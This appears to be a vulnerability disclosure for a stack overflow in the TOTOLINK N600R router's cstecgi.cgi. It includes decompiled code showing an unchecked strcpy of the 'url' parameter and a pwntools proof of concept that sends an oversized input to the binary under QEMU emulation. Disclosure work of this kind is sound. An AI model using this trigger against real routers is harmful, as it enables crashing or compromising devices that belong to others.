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d1tto add n600r ...

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## Overview

- The device's official website: [http://www.totolink.cn/home/menu/newstpl.html?menu\\_newstpl=products&id=2](http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2)
- Firmware download website: [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=download&id=2&ids=36](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36)

## Affected version

V4.3.0cu.7647\_B20210106

## Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_00415bf0` (at address `0x415bf0`) gets the JSON parameter `url`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

Decompile: FUN_00415bf0 - (cstecgi_not_test.cgi)
12  undefined4 local_24;
13  undefined4 local_20;
14  undefined4 local_1c;
15  undefined4 local_18;
16  undefined2 local_14;
17
18  pcVar1 = (char *)websGetVar(param_1,"addEffect","0");
19  iVar2 = atoi(pcVar1);
20  pcVar1 = (char *)websGetVar(param_1,"enable","0");
21  local_38 = atoi(pcVar1);
22  pcVar1 = (char *)websGetVar(param_1,"url","");
23  local_34 = 0;
24  local_30 = 0;
25  local_2c = 0;
26  local_28 = 0;
27  local_24 = 0;
28  local_20 = 0;
29  local_1c = 0;
30  local_18 = 0;
31  local_14 = 0;
32  if (iVar2 == 0) {
33      strcpy((char *)&local_34,pcVar1);
34      apmib_set(0x200f3,&local_34);
35      apmib_set(0x100f2,&local_34);
36  }
37  else {
38      apmib_set(0xef,&local_38);
39  }
40  apmib_update_web(4);
41  RunSysCmd(0,"lktos_reload","firewall","");
42  setResponse("0","reserv");
43  return 1;
44  }
45

```

## POC

```

from pwn import *
import json

data = {
    "topicurl": "setting/setUrlFilterRules",
    "addEffect": "0",
    "url": "A"*0x200,
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",

```

```
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.2.1",
        "./cstecgi.cgi"
    ]

    a = process(argv=argv)

    a.sendline(data.encode())

    a.interactive()
```